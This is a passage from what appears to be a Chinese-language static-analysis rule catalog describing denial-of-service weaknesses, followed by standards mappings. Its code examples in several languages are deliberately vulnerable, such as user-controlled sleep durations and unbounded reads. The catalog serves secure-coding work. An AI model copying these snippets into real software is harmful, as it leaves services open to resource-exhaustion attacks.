[40] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[41] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[42] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.controlflow.dotnet.asp_dotnet_core_rate_limitting_denial_of_service
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源的時間。

範例 1:以下程式碼允許使用者指定目前程序進入睡眠的時間長度。若指定較大的數字,攻擊者可能無限期地佔用程序。


unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.cpp.denial_of_service
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源的時間。

範例 1:以下程式碼允許使用者指定執行緒進入睡眠的時間長度。若指定較大的數字,攻擊者可能無限期地佔用執行緒。因此,僅需要少數要求,攻擊者就可能耗盡應用程式的執行緒池。


Sleep(url.duration);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.cfml.denial_of_service
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源的時間。

範例 1:以下程式碼允許使用者指定 Future 函數的執行時間。若指定較大的數字,攻擊者可能會無限期地佔用 Future 函數。


final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.dart.denial_of_service
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者可能能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源的時間。

範例 1:若攻擊者設定較大值,使用不可信賴的資料設定服務逾時可能會使服務沒有回應。


func test(r *http.Request) {
...
i, _ := strconv.Atoi(r.FormValue("TIME"))
runtime.KeepAlive(i)
...
}
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[40] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.golang.denial_of_service
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源的時間。

範例 1:以下程式碼允許使用者指定執行緒進入睡眠的時間長度。若指定較大的數字,攻擊者可能無限期地佔用執行緒。因此,僅需要少數要求,攻擊者就可能耗盡應用程式的執行緒池。


int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
範例 2:以下程式碼會從 zip 檔案讀取字串。因為它使用 readLine() 方法,它會讀取大量的輸入。攻擊者可能利用此程式碼產生 OutOfMemoryException 或消耗大量記憶體,讓程式花費更多時間來執行記憶體回收或者在一些後續作業中耗盡記憶體。


InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
References
[1] DOS-1: Beware of activities that may use disproportionate resources Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 730
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[6] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[9] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[10] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[11] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[12] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[13] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[17] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[18] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002400 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002400 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002400 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002400 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002400 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002400 CAT II, APSC-DV-002410 CAT II, APSC-DV-002530 CAT II, APSC-DV-002950 CAT II, APSC-DV-003320 CAT II
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Denial of Service (WASC-10)
[41] Standards Mapping - Web Application Security Consortium 24 + 2 Denial of Service
desc.dataflow.java.denial_of_service
Abstract
攻擊者會摧毀程式或者讓合法的使用者無法使用程式。
Explanation
攻擊者能夠對應用程式發送大量要求,使其拒絕對合法使用者的服務,但大量攻擊形式通常會在網路層便被排除掉。較嚴重的問題是可讓攻擊者使用少量要求便可超載應用程式的錯誤 (bug)。此種錯誤可讓攻擊者去指定要求系統資源使用的數量,或是他們會持續使用這些系統資源的時間。

範例 1:以下程式碼允許使用者指定要使用的檔案系統大小。若指定較大的數字,攻擊者可能耗盡檔案系統資源。


var fsync = requestFileSystemSync(0, userInput);
範例 2:以下程式碼會寫入檔案。以下程式碼會寫入檔案。由於檔案可能會不斷地寫入和重新寫入,直到使用者代理程式將其關閉為止,因此可能需要分析檔案內容的磁碟配額、IO 頻寬以及處理序會受到影響。


function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}

window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 730
[2] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001094, CCI-002386
[3] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2023 Directive 4.14
[4] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[5] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2023 Rule 4.1.3
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-4 Security Impact Analysis (P2), CM-6 Configuration Settings (P1), SC-5 Denial of Service Protection (P1), SI-10 Information Input Validation (P1)
[7] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-4 Impact Analyses, CM-6 Configuration Settings, SC-5 Denial of Service Protection, SI-10 Information Input Validation
[8] Standards Mapping - OWASP API 2023 API4 Unrestricted Resource Consumption
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 12.1.1 File Upload Requirements (L1 L2 L3)
[10] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[11] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[12] Standards Mapping - OWASP Top 10 2004 A9 Application Denial of Service
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.9
[14] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[15] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[16] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation, Control Objective C.3.4 - Web Software Attack Mitigation
[17] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP6080 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP6080 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP6080 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP6080 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP6080 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP6080 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP6080 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002400 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002400 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002400 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002400 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002400 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002400 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002400 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002400 CAT II
